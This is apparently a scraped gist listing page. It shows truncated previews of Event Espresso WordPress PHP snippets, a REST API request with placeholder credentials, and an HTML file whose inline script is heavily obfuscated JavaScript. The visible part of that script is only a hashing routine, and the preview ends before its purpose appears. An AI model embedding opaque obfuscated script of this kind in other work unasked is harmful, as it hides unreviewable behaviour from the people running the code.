This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php if (!defined('EVENT_ESPRESSO_VERSION')) { exit('No direct script access allowed'); } | |
do_action('action_hook_espresso_log', __FILE__, 'FILE LOADED', ''); ?> | |
<div class="espresso_payment_overview event-display-boxes ui-widget" > | |
<h3 class="section-heading ui-widget-header ui-corner-top"> | |
<?php _e('Payment Overview', 'event_espresso'); ?> | |
</h3> | |
<div class="event-data-display ui-widget-content ui-corner-bottom" > | |
<table> | |
<tr> | |
<td><?php _e('Class/Event:', 'event_espresso'); ?></td> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//... | |
/** | |
* Changes the original, regular country input used in infusionsoft to a dropdown | |
* @param string $original_html | |
* @param string $country | |
* @return string | |
*/ | |
function ee_is_swap_country($original_html,$country){ | |
$values = array( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Use Gists to store code you would like to remember later on | |
console.log(window); // log the "window" object to the console |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function ee_revise_registration_checkout_line_item_desc( $original_description, $line_item, $options ) { | |
$datetime_names = array(); | |
if( $line_item->ticket() instanceof EE_Ticket ) { | |
foreach( $line_item->ticket()->datetimes() as $datetime ) { | |
$datetime_names[] = $datetime->get_dtt_display_name(true); | |
} | |
} | |
return sprintf( __( ' for "%1$s", for datetime(s): %2$s', 'event_espresso' ), | |
$line_item->ticket_event_name(), | |
implode(", ", $datetime_names ) ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$response = wp_remote_request( | |
'http://src.wordpress-develop.dev/wp-json/ee/v4.8.36/answers', | |
array( | |
'method' => 'POST', | |
'headers' => array( | |
'Authorization' => 'Basic ' . base64_encode( YOUR_USERNAME . ':' . YOUR_PASSWORD ), | |
), | |
'body' => array( | |
'REG_ID' =>1, | |
'QST_ID' => 10, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<meta charset="utf-8"> | |
<script>X0ww.Y2B=function (){return typeof X0ww.E2B.C2B==='function'?X0ww.E2B.C2B.apply(X0ww.E2B,arguments):X0ww.E2B.C2B;};X0ww.a8=function(){var l4=function(b4,B4){var R4=B4&0xffff;var y4=B4-R4;return(y4*b4|0)+(R4*b4|0)|0;},s4=function(C8,E8,c8){var l8=0xcc9e2d51,n8=0x1b873593;var T4=c8;var O8=E8&~0x3;for(var z8=0;z8 | |
<O8;z8+=4){var k4=C8.charCodeAt(z8)&0xff|(C8.charCodeAt(z8+1)&0xff)< | |
<8|(C8.charCodeAt(z8+2)&0xff)< | |
<16|(C8.charCodeAt(z8+3)&0xff)< | |
<24;k4=l4(k4,l8);k4=(k4&0x1ffff)< | |
<15|k4>>>17;k4=l4(k4,n8);T4^=k4;T4=(T4&0x7ffff)< | |
<13|T4>>>19;T4=T4*5+0xe6546b64|0;}k4=0;switch(E8%4){case 3:k4=(C8.charCodeAt(O8+2)&0xff)< |